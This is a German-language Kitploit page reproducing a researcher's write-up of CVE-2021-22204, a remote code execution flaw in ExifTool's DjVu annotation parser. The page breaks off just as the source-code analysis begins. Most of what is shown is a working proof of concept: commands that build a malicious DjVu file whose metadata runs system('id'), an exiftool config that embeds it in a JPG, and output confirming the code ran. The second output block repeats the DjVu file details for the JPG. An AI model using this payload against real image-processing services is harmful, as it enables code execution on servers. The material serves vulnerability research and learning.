Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22204 — Tiefgehende technische Analyse von CVE-2021-22204 (ExifTool RCE) mit PoC-Reproduktion, Payload-Konstruktion und Perl-Code-Review des verwundbaren DjVu-Annotationsparsers. | Kitploit
Tools/GitHubGitHub/trganda/cve-2021-22204
SchwachstellenanalyseCode-AnalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubtrganda/cve-2021-22204

CVE-2021-22204

Tiefgehende technische Analyse von CVE-2021-22204 (ExifTool RCE) mit PoC-Reproduktion, Payload-Konstruktion und Perl-Code-Review des verwundbaren DjVu-Annotationsparsers.

Repository anzeigen
310vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ExifTool-Schwachstelle für Remote-Codeausführung

Dies sollte eigentlich ein Analyseartikel zu CVE-2021-22204 sein, aber er gleicht eher meinem Notizbuch voller wirrer Gedanken. Für einen Schwachstellenanalyse-Artikel wirkt das ziemlich weitschweifig, aber ich habe dabei viel gelernt.

Ehrlich gesagt habe ich dieses Tool nie benutzt und hatte fast keinen Kontakt mit der Sprache Perl, weshalb ich während der Analyse und sogar der Reproduktion voller Fragezeichen im Kopf war. Bevor ich mit der Analyse beginne, schauen wir uns zunächst die online veröffentlichten PoCs sowie meine offenen Fragen an.

POC - convisolabs

Der Artikel, den ich gesehen habe, ist [1]; er gibt eine kurze Einführung in die Ursache der Schwachstelle. Da ich den Perl-Code jedoch nicht verstehen konnte, blieben mir viele Stellen unklar. Der Reproduktionsprozess ist wie folgt:

Lade die Version 12.23 von exiftool herunter:

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

Entpacken und installieren:

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

Wenn du es natürlich nicht installieren möchtest, kannst du die Datei exiftool aus dem Verzeichnis exiftool-12.23 direkt in ein Verzeichnis legen, das über die Umgebungsvariable gefunden wird. Damit lässt sich das exiftool-Tool ebenfalls direkt verwenden, da Perl – ähnlich wie Python – eine interpretierte Sprache ist.

Um ein bösartiges Bild zu erstellen, installiere zunächst die benötigten Werkzeuge:

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

Führe die folgenden Befehle aus, um eine bösartige djvu-Datei zu erstellen:

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

Analysiere die bösartige Datei anschließend mit dem Werkzeug exiftool – man wird feststellen, dass der Befehl id erfolgreich ausgeführt wurde:

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Als wir zuvor mit dem Befehl djvumake eine Datei im djvu-Format erstellt haben: Kann das payload dabei nicht unkomprimiert bleiben? Denn aus analytischer Sicht ist das nicht gerade förderlich für die Betrachtung und das Testen. Natürlich geht das; man muss nur den Parameter ANTz durch ANTa ersetzen. Informationen zu ANTz und ANTa findest du in der exiftool-Dokumentation [3], aber ihre konkrete Bedeutung habe ich auch nach wie vor nicht gefunden, da es keine offizielle Spezifikation gibt.

Hier möchte ich mich kurz beschweren: Ich wollte die Parameterbeschreibung über man djvumake nachschlagen, aber dort gibt es überhaupt keine Erklärung zu ANTz und ANTa. Die Dokumentation ist auf 2001 datiert und wurde seit langem nicht mehr aktualisiert.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa bedeutet, dass die Annotation in den metadata der djvu-Datei im Klartextformat gespeichert wird; ANTz ist das bzz-komprimierte Format.

Dateien im djvu-Format sind jedoch nicht weit verbreitet, insbesondere wenn Websites das Hochladen von Bildern ermöglichen; die meisten akzeptieren nur Dateien wie png/jpg/jpeg. Es wäre also wünschenswert, wenn man eine bösartige djvu-Datei in eine jpg-Datei verwandeln könnte.

Das exiftool-Tool kann uns helfen, den Inhalt von Bildern zu verändern; wir müssen die bösartige djvu-Datei nur an der passenden Stelle in die jpg-Datei einfügen. Welche Stelle das konkret ist und warum ausgerechnet diese Stelle funktioniert, erkläre ich später in der Analyse.

Erstelle eine exiftool-Konfigurationsdatei eval.config:

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

Zur Schreibweise von exiftool-Konfigurationsdateien siehe [4][5]. Suche anschließend eine normale jpg-Bilddatei poc.jpg und führe den folgenden Befehl aus:

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

Analysiere poc.jpg anschließend erneut mit exiftool; der Befehl wird erfolgreich ausgeführt:

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Schwachstellenanalyse

Der folgende Analyseprozess bezieht sich auf den Inhalt von [2]; die betroffene Version ist exiftool < 12.24, und die die Schwachstelle auslösende Datei ist:

lib/Image/ExifTool/DjVu.pm (line 202)

Der Code der betreffenden Funktion ist wie folgt:

Tool herunterladen